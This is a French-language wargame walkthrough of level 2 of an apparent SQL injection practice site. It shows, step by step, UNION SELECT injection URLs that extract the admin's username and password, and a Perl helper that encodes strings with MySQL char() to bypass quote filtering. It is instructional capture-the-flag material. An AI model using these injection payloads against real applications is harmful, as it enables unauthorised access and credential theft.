SQL Injection Wargame Tutorial :: Level 2
Détails du niveau
But : Exploiter le script du niveau 1 (ici (lien mort))
afin de lui faire afficher des informations contenues dans la table "newsuser" et appartenant à la
même base de données. En l'occurence, on recherche l'identifiant et le mot de passe de l'admin.
Structure de table "newsuser" :
id - int, primary key
username - char
password - char
name - char
Version MySQL : MySQL 4.0.14 Stable
Les versions 4.x de MySQL supportant enfin le mot-clé "UNION" (très pratique pour le SQL-Injection), on peut supposer que cela nous sera utile pour ce niveau.
Exploitation basique
http://www.hackingzone.org/sql/level1/index.php?id=2 UNION SELECT username FROM newsuser
Affichage de la news numéro 2 : notre requête est donc valide, tout va bien
http://www.hackingzone.org/sql/level1/index.php?id=999 UNION SELECT name FROM newsuser
La news numéro 999 n'existant pas, on obtient le 1er résultat de la requête située à gauche du UNION.
Nous avons donc fait afficher le "nom visible" du premier utilisateur.
On peut maintenant essayer de restreindre les résultats à l'utilisateur nous intéressant : "Admin".
http://www.hackingzone.org/sql/level1/index.php?id=999 UNION SELECT name FROM newsuser WHERE name="Admin"
Mais cela ne marche pas, les guillemets et les quotes étant filtrés par l'application.
Il faut donc utiliser le champ 'id' (qui est un entier) pour restreindre nos recherches.
Mais la valeur du champ 'id' pour le compte "Admin" nous est actuellement inconnue :-(
Recherchons là !
NB : Il est possible de faire via le champ "name", malgré le filtrage. Mais gardons ces techniques
pour plus tard ...
http://www.hackingzone.org/sql/level1/index.php?id=999 UNION SELECT name FROM newsuser WHERE id=1
Pas le bon compte (TheZone), recommençons ...
http://www.hackingzone.org/sql/level1/index.php?id=999 UNION SELECT name FROM newsuser WHERE id=2
Bingo, la valeur du champ 'id' est donc 2 pour le compte "Admin" !
Il ne nous reste plus qu'à extraire les autres champs ...
http://www.hackingzone.org/sql/level1/index.php?id=999 UNION SELECT username FROM newsuser WHERE id=2
http://www.hackingzone.org/sql/level1/index.php?id=999 UNION SELECT password FROM newsuser WHERE id=2
Nous avons à présent le login et le mot de passe, retournons donc les entrer via le script
du niveau 2
La technique précente manque singulièrement d'élégance, car nous sommes contraints de "deviner" (dans le sens "trouver par recherche exhaustive") l'identifiant du compte "Admin". Or, même si les guillemets et les quotes sont filtrés, il est possible dans MySQL de passer une chaine de texte à l'interpréteur, via la fonction char().
Il nous suffit donc trouver les codes ASCII de la chaine qui nous intéresse.
A cet effet, voici un p'tit script Perl :
#!/usr/local/bin/perl
# Print a string useable in MySQL when quotes are filtered
print "Converting '$ARGV[0]' : ";
my @ascii = unpack("C*", $ARGV[0]);
my $string = "char(";
for (my $i=0; $i <= $#ascii; $i++) {
$string .= $ascii[$i];
$string .= "," if ($i ne $#ascii);
}
$string .= ")";
print "$string\n";
Exemple d'utilisation :
nicob@bobby:~/warsql/ > ./mysql_char.pl Admin
Converting 'Admin' : char(65,100,109,105,110)
http://www.hackingzone.org/sql/level1/index.php?id=999 UNION SELECT username FROM newsuser WHERE name=char(65,100,109,105,110)
http://www.hackingzone.org/sql/level1/index.php?id=999 UNION SELECT password FROM newsuser WHERE name=char(65,100,109,105,110)
Et voilà le travail !